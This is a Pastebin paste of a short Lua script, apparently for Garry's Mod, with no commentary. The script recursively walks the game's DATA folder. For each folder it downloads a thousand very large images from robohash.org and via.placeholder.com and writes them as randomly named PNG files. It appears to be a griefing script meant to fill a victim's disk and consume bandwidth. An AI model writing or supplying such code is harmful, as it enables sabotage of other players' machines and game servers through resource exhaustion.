EgorkaEK

Untitled

Jul 27th, 2021 (edited)
651
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. local function randomString(len)
  2.     if !len or len <= 0 then return "" end
  3.     return randomString(len - 1)..("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-")[math.random(1, 64)]
  4. end
  5.  
  6. local function spamFilePNG(path)
  7.     local files, folders = file.Find(path.."*", "DATA")
  8.  
  9.     for i=1,1000 do
  10.         local txt = randomString(10)
  11.         local url = {
  12.             [1] = "https://robohash.org/$txt?set=set"..math.random(1, 4),
  13.             [2] = "http://via.placeholder.com/5001x3199?text=$txt"
  14.         }
  15.  
  16.         local u = table.Random(url)
  17.         http.Fetch(string.Replace(u, "$txt", txt), function(img)
  18.             file.Write(txt..i..".png", img)
  19.             print(path)
  20.         end)
  21.     end
  22.    
  23.     for k,v in pairs(folders) do
  24.         spamFilePNG(path..v.."/")
  25.     end
  26. end
  27. spamFilePNG("")
RAW Paste Data